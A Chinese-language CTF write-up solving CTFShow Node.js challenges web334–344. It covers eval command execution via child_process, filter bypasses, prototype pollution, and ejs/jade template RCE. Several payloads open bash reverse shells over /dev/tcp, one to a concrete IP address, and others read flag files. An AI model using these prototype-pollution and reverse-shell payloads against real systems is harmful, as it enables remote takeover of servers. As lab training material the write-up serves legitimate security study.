CTFShow NodeJS Part

Nodejs学习

参考链接

NodeJs从零到原型链污染
Node.js 常见漏洞学习与总结
继承与原型链
深入理解 JavaScript Prototype 污染攻击
Node.js 原型污染攻击的分析与利用

CTFShow-nodejs(334-344)

web334

学习下nodejs的语法知识,没有特别好说的username=CTFSHOw&password=123456

web335

F12提示eval代码执行,使用/?eval=2*2测试,结果直接回显。

在执行系统命令方面,js中使用的是child_process这个模块。这个模块有异步和同步两种创建子进程的方式。

异步API:

  • exec(cmd, options, callback)
  • execFile(cmd, args, options, callback)
  • fork (模块路径, args, options) // 不一样的地方在于可以通信
  • spawn(cmd, args, options)

同步api:

  • execSync
  • execFileSync
  • spawnSync

记一下同步API的用法:

const ret = cp.execSync('ls -al|grep node_modules') // 用的比较多,对脚本安全性没有校验
// 可以直接拿到结果
console.log(ret.toString())
const ret2 = cp.execFileSync('ls', ['-al'])
console.log(ret2.toString)
const ret3 = cp.spawnSync('ls', ['-al'])
console.log(ret3.stdout.toString()) // 返回的是一个对象

payload:/?eval=require("child_process").execSync("cat fl00g.txt").toString()

web336

和上面一样要eval执行命令,不同的是过滤了"exec"。

使用spawnSync来做,require("child_process").spawnSync('ls').stdout.toString()

注意spawnSync在执行的命令含多个参数的使用方式,最后的payload:/?eval=require("child_process").spawnSync("cat",["fl001g.txt"]).stdout.toString()

看了下WP这里还可以用+绕过,或者使用fs模块读取:

require('child_process')['exe'+'cSync']('ls').toString() 
eval=require('fs').readFileSync('fl001g.txt','utf-8')

web337

题目介绍直接给了源码

var express = require('express');
var router = express.Router();
var crypto = require('crypto');

function md5(s) {
  return crypto.createHash('md5')
    .update(s)
    .digest('hex');
}

/* GET home page. */
router.get('/', function(req, res, next) {
  res.type('html');
  var flag='xxxxxxx';
  var a = req.query.a;
  var b = req.query.b;
  if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
  	res.end(flag);
  }else{
  	res.render('index',{ msg: 'tql'});
  }
  
});

module.exports = router;

使用的方式为数组绕过,paylaod:/?a[x]=1&b[x]=2

由于JavaScript中的对象不能直接和字符串进行加法运算。当试图将对象转化为字符串时,JavaScript 默认会调用对象的 toString() 方法。对于普通的 JavaScript 对象,toString() 方法会返回 "[object Object]"。

举个例子:

> a={'a':'1'}
> a+"123"
'[object Object]123'

所以上面的a+flagb+flag的结果都是'[object Object]flag{xxxx}',因此md5计算的结果也就想等了。

web338

终于到原型链了。

关注源码中路由实现的部分,其中login.js

var express = require('express');
var router = express.Router();
var utils = require('../utils/common');



/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var secert = {};
  var sess = req.session;
  let user = {};
  utils.copy(user,req.body);
  if(secert.ctfshow==='36dboy'){
    res.end(flag);
  }else{
    return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});  
  }
  
  
});

module.exports = router;

这里要让secert.ctfshow==='36dboy',但是secert是一个空对象,并没有ctfshow这个属性。不过utils.copy(user,req.body);执行了一个对象拷贝的操作,这也是原型链攻击的点。

关于这个原型链自己做才发现污染的方式是添加属性,不是直接令原型为一个对象。

// 错误的
> o1 = {}
{}
> o2  = {}
{}
> o1.__proto__ = {"a":1}
{ a: 1 }
> o2.a
undefined

// 正确的
> o1 = {}
{}
> o2 = {}
{}
> o1.__proto__.a = 1
1
> o2.a
1
> o2.__proto__
[Object: null prototype] { a: 1 }

payload:{"__proto__":{"ctfshow":"36dboy"}}

web339

这道题和上一题的区别是secert.ctfshow要等于flag,而flag未知,所以无法直接修改ctfshow属性。

api.js有res.render('api', { query: Function(query)(query)});,这里的Function(query)(query)是一个立即调用的函数表达式(IIFE)。其中,Function 是一个内置的构造函数,用于创建新的函数对象。

这里面Function(query)创建了一个新的函数,然后这个新创建的函数被立即调用,并将 query 作为参数传入。举个例子:

> Function("return 1+1")("return 1+1")
2

我们可以利用这一点反弹的shell。

虽然题目中的query是没有定义的,但是由于js在寻找变量时会在原型链上找,而所有对象都直接或间接基础于Object.prototype。所以在链上添加一个query属性,依然可以被访问到:

> o1 = {}
{}
> o1.__proto__.a = 1
1
> a
1

解题流程,在/login处修改原型链,payload:

{
  "username":"admin",
  "password":"admin",
  "__proto__":{
    "query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/IP/8888 0>&1\"')"
  }
}

解释一下,global.process.mainModule.constructor._load: Node.js 中的 global 对象是全局的命名空间,即它的属性是全局作用域中的所有变量。global.process 返回一个对象,表示 Node.js 进程,mainModule 属性则是对当前 Node.js 进程主模块的引用,constructor 属性引用了该模块的构造函数(即 Module),_load 则是 Module 构造函数的一个方法,它的功能是加载一个模块。

ps.这里无法使用require是因为Function环境下没有require函数。

用POST方法访问/api触发api.js中路由的规则,反弹shell,读取文件,getshell

web340

这题与上面的不同点,index.js

这里的isAdmin属性是无法覆盖的,所以利用点还是在api.js中的Function(query)(query)。因为copy的对象是user.userinfo它的原型(所继承的对象)是一个函数,所以要用两个__proto__才能指向Object.prototype

因此payload构造

{
  "__proto__":{
    "__proto__":{
      "query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/IP/8888 0>&1\"')"
    }
  }
}

web341

这道题和上面的相比没了api.js,可以利用的点就只有

根据package.json的版本信息可以知道"ejs": "^3.1.5",考点:ejs模板引擎rce,原理之后再看,先跟着打一遍。

payload为:

{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/vps-ip/port 0>&1\"');var __tmp2"}}}

在环境变量中找到flag

web342-343

jade 模板rce,直接打吧

payload:

{"__proto__":{"__proto__":{"type":"Code","self":1,"line":"global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/47.115.227.70/8888 0>&1\"')"}}}

flag在环境变量里。

web344

源码

router.get('/', function(req, res, next) {
  res.type('html');
  var flag = 'flag_here';
  if(req.url.match(/8c|2c|\,/ig)){
  	res.end('where is flag :)');
  }
  var query = JSON.parse(req.query.query);
  if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
  	res.end(flag);
  }else{
  	res.end('where is flag. :)');
  }

});

需要传入一个JSON去解析,但是过滤了逗号。

绕过方法是传入多个query参数,比如?query=1&query=2&query=3。nodejs在解析这样的参数时,不会用后面的值去覆盖前面的,而是将其作为一个数组保存。

使用这种方式去绕过逗号,payload为/?query={"name":"admin"&query="password":"ctfshow"&query="isVIP":true},它会被解析为数组['{"name":"admin"', '"password":"ctfshow"', '"isVIP":true}']。这里我猜测,JSON.parse()在解析数组的时候,会调用数组对象的toString方法,而数组对象的toString方法会将里面的元素用逗号连接为一个字符串,所以会被正常解析为JSON。